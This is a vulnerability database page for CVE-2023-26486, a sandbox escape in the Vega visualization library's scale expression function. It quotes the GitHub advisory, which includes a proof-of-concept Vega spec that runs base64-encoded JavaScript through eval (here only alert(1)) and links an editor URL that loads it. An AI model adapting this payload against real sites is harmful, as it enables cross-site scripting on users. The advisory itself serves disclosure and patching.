CVE-2023-26486
mediumpriority · track · 24EPSS 0.008 · 56 %ileEUUSEPSS · scored 2026-10-27
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. The scale expression function passes a user supplied argument group to getScale, which is then used as if it were an internal context. The context.scales[name].value is accessed from group and called as a function back in scale. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. This issue has been fixed in version 5.13.1.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (5)
Products and version ranges known to be affected.
- vega-functions project vega-functions< 5.13.1nvdUScpe:2.3:a:vega-functions_project:vega-functions:*:*:*:*:*:*:*:*
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-4vq7-882g-wcg4Vega Expression Language `scale` expression function Cross Site Scripting2023-03-02ghsa · osvUS
### Summary The Vega `scale` expression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript. ### Details The [scale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37) expression function passes a user supplied argument `group` to [getScale](https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6), which is then used as if it were an internal context. The `context.scales[name].value` is accessed from `group` and called as a function back in `scale`. ### PoC The following Vega definition can be used to demonstrate this issue executing the JavaScript code `alert(1);` ```json { "$schema": "https://vega.github.io/schema/vega/v5.json", "data": [ { "name": "XSS PoC", "values": [1], "transform": [ { "type": "formula", "as": "amount", "expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})" } ] } ] } ``` This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
also known as (3)
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sources
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references (16)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2023-26486/cnnvd
- https://github.com/vega/vega/releases/tag/v5.23.0cnnvd
- https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4cnnvd
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/functions/scale.js#L36-L37cnnvd
- https://github.dev/vega/vega/blob/72b9b3bbf912212e7879b6acaccc84aff969ef1c/packages/vega-functions/src/scales.js#L6cnnvd
- https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAAcnnvd
- https://github.com/vega/vega/releases/tag/v5.23.0enisa_euvd
- https://github.com/vega/vega/security/advisories/GHSA-4vq7-882g-wcg4enisa_euvd
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